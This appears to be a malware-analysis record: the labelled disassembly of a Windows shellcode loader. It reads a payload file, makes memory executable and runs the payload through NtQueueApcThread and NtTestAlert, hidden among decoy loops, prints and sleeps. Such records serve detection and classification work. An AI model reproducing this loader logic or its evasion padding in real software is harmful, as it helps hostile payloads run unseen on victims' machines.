Function at 0x1400019d0
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file attributes
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x27], rax
lea r8, [0x1400057a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
test rax, rax
je 0x140001a1e
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, 0x10
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x64
sub ecx, eax
lea edx, [rcx + 1]
lea rcx, [0x14000578c]
call fcn.140001060
sub rbx, 1
jne 0x140001a34
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ebx, eax
lea rdx, str.Random_number:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003390
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140003560]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
xor r13d, r13d
mov qword [rbp + 0x17], r13
mov qword [rbp + 0x1f], 0xf
lea ecx, [r13 + 0x20]
call fcn.140003b28
mov rdx, rax
mov qword [rbp + 7], rax
mov qword [rbp + 0x17], 0x17
mov qword [rbp + 0x1f], 0x1f
movups xmm0, xmmword [str.C:UsersSKDesktop100]
movups xmmword [rax], xmm0
mov ecx, dword [0x1400057b8]
mov dword [rax + 0x10], ecx
movzx ecx, word [0x1400057bc]
mov word [rax + 0x14], cx
movzx eax, byte [0x1400057be]
mov byte [rdx + 0x16], al
mov byte [rdx + 0x17], r13b
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 0xf
cmova rcx, qword [rbp + 7]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140001b33
test al, 0x10
lea rdx, [0x1400057c0]
jne 0x140001b3a
lea rdx, [0x1400057d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003390
lea rdx, [0x140003560]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
lea rdx, str.NtQueueApcThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea rdx, str.NtTestAlert
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 9], rax
mov dword [rbp - 1], r13d
mov ecx, 0x200
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r14d, 1
mov ebx, r14d
nop dword [rax]
mov edx, ebx
lea rcx, [0x140005568]
call fcn.140001060
lea rcx, str.112_n
call fcn.140001060
inc ebx
cmp ebx, 0x1e
jl 0x140001bc0
lea rcx, str.112_n
call fcn.140001060
lea rcx, str.1.buy
call fcn.140001060
movzx edx, byte [0x1400080b8]
lea rcx, [0x14000581c]
call fcn.140001060
mov ecx, 0x200
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, r14d
nop
mov edx, ebx
lea rcx, [0x140005568]
call fcn.140001060
inc ebx
cmp ebx, 0x64
jl 0x140001c30
call fcn.1400014f0
call fcn.140001280
lea rdx, [0x140005540]
lea rcx, [0x140005820]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rbx, eax
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov qword [0x1400089d8], rbx
test rbx, rbx
je 0x140001d10
lea rdx, [0x140005540]
lea rcx, [0x140005820]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
test rax, rax
jne 0x140001cc9
lea rcx, str.Binary_file_does_not_exists__n
call fcn.140001060
jmp 0x140001d10
mov rcx, qword [0x1400089d8]
call fcn.140003b64
mov rdi, rax
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov r9, rsi
mov r8, qword [0x1400089d8]
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rbx, rax
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rbx, rbx
jne 0x140001d13
mov rcx, rdi
call fcn.140003b20
mov rdi, r13
mov qword [0x1400089d0], rdi
mov ecx, 0x200
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, r14d
nop dword [rax]
mov edx, ebx
lea rcx, [0x140005568]
call fcn.140001060
lea rcx, str.112_n
call fcn.140001060
inc ebx
cmp ebx, 0x1e
jl 0x140001d40
lea rcx, str.112_n
call fcn.140001060
lea rcx, str.1.buy
call fcn.140001060
cmp qword [0x1400089d0], 0
jne 0x140001d96
lea rdx, [0x140005820]
lea rcx, str.Failed_to_read_binary_data_from_file__s_n
call fcn.140001060
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x200
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [0x1400089d8]
xor ecx, ecx
call qword [0x1400089f0]
mov qword [0x1400089e0], rax
mov r8, qword [0x1400089d8]
mov rdx, qword [0x1400089d0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov ecx, 0x200
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, r14d
nop
mov edx, ebx
lea rcx, [0x140005568]
call fcn.140001060
lea rcx, str.112_n
call fcn.140001060
inc ebx
cmp ebx, 0x1e
jl 0x140001e10
lea rcx, str.112_n
call fcn.140001060
lea rcx, str.1.buy
call fcn.140001060
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x200
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, r14d
nop dword [rax]
nop dword [rax + rax]
mov edx, ebx
lea rcx, [0x140005568]
call fcn.140001060
lea rcx, str.112_n
call fcn.140001060
inc ebx
cmp ebx, 0x1e
jl 0x140001e80
lea rcx, str.112_n
call fcn.140001060
lea rcx, str.1.buy
call fcn.140001060
mov dword [rbp + 3], r13d
lea r9, [rbp + 3]
mov r8d, 0x40
mov rdx, qword [0x1400089d8]
mov rcx, qword [0x1400089e0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0x90
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r12, rax
mov ecx, 0x100
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp - 0x31], rax
mov ecx, 0x100
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp - 0x19], rax
mov ecx, 0x100
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp - 0x11], rax
mov esi, r13d
nop dword [rax]
mov ecx, 0x200
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, r14d
mov edx, ebx
lea rcx, [0x140005568]
call fcn.140001060
lea rcx, str.112_n
call fcn.140001060
inc ebx
cmp ebx, 0x1e
jl 0x140001f42
lea rcx, str.112_n
call fcn.140001060
lea rcx, str.1.buy
call fcn.140001060
mov ebx, r13d
mov edi, esi
and edi, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, ebx
and eax, r14d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test edi, edi
jne 0x140001fb6
test eax, eax
jne 0x140001fad
lea rdx, str.i_is_even__j_is_even
jmp 0x140001fc8
lea rdx, str.i_is_even__j_is_odd
jmp 0x140001fc8
test eax, eax
lea rdx, str.i_is_odd__j_is_even
je 0x140001fc8
lea rdx, str.i_is_odd__j_is_odd
call fcn.140003390
lea rdx, [0x140003560]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc ebx
cmp ebx, 0x1e
jl 0x140001f90
inc esi
cmp esi, 0x1e
jl 0x140001f20
lea rcx, str.Somethings_is_ok
call fcn.140001060
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400014f0
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, [0x140005868]
call fcn.140001060
lea rcx, str.ok_Thank_You__n
call fcn.140001060
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [0x1400089d8]
xor ecx, ecx
call qword [0x1400089f0]
mov r13, rax
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [0x1400089d8]
xor ecx, ecx
call qword [0x1400089f0]
mov qword [rbp - 0x39], rax
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [0x1400089d8]
xor ecx, ecx
call qword [0x1400089f0]
mov qword [rbp - 0x29], rax
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [0x1400089d8]
xor ecx, ecx
call qword [0x1400089f0]
mov rdi, rax
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [0x1400089d8]
xor ecx, ecx
call qword [0x1400089f0]
mov rsi, rax
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [0x1400089d8]
xor ecx, ecx
call qword [0x1400089f0]
mov qword [rbp - 0x21], rax
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [0x1400089d8]
xor ecx, ecx
call qword [0x1400089f0]
mov r12, rax
mov rbx, qword [rbp - 0x31]
test rbx, rbx
je 0x14000216f
lea rcx, str.Hello__world_
mov r8, rbx
sub r8, rcx
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [r8 + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140002120
lea rdx, str.String_copied_to_allocated_memory:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003390
mov rcx, rax
mov rdx, rbx
call fcn.140003390
mov rcx, rax
lea rdx, [0x140003560]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, qword [0x1400089d8]
mov rdx, rbx
mov rcx, r13
call sub.VCRUNTIME140.dll_memcpy
mov r8, qword [0x1400089d8]
mov rdx, qword [0x1400089d0]
mov rcx, qword [rbp - 0x39]
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbp - 0x11]
mov rax, qword [rdx]
mov qword [rsi], rax
mov rcx, qword [rbp - 0x21]
mov qword [rcx], rax
mov qword [r12], rax
mov rax, qword [rbp - 0x19]
mov rax, qword [rax]
mov rcx, qword [rbp - 0x29]
mov qword [rcx], rax
mov rax, qword [rdx]
mov qword [rdi], rax
mov rax, rbx
mov rax, qword [rbx]
mov qword [r13], rax
mov r8, qword [0x1400089d8]
mov rdx, qword [0x1400089d0]
mov rbx, qword [rbp - 0x39]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002310
mov ecx, 0x200
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
nop dword [rax]
mov edx, r14d
lea rcx, [0x140005568]
call fcn.140001060
lea rcx, str.112_n
call fcn.140001060
inc r14d
cmp r14d, 0x1e
jl 0x140002250
lea rcx, str.112_n
call fcn.140001060
lea rcx, str.1.buy
call fcn.140001060
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
xor r14d, r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, r13
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea r9, [rbp - 1]
lea r8d, [r14 + 0x20]
mov rdx, qword [0x1400089d8]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002313
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
jmp 0x140002313
xor r14d, r14d
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, eax
call fcn.140001280
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
je 0x140002865
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002397
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400023e7
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002437
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002487
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400024d7
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002527
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002577
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400025c7
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002617
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002667
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400026b7
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002707
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002757
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400027a7
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400027f7
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002847
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x39]
call r15
call qword [rbp - 9]
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400028b5
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002905
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea r9, [rbp - 1]
mov r8d, 0x20
mov rdx, qword [0x1400089d8]
mov rbx, qword [rbp - 0x21]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140002959
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
call r15
lea rcx, str.aaaa_n
call fcn.140001060
lea rcx, [0x1400058ac]
call fcn.140001060
lea rcx, str.aaaa_n
call fcn.140001060
call fcn.140001280
mov rcx, qword [rbp - 0x31]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rbp - 0x11]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r8d, 0x8000
mov rdx, qword [0x1400089d8]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [0x1400058b0]
call fcn.140001060
call fcn.140001280
lea rcx, str.world_hello
call fcn.140001060
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 0xf
jbe 0x1400029fa
inc rdx
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003b20
xor eax, eax
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140003b00
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret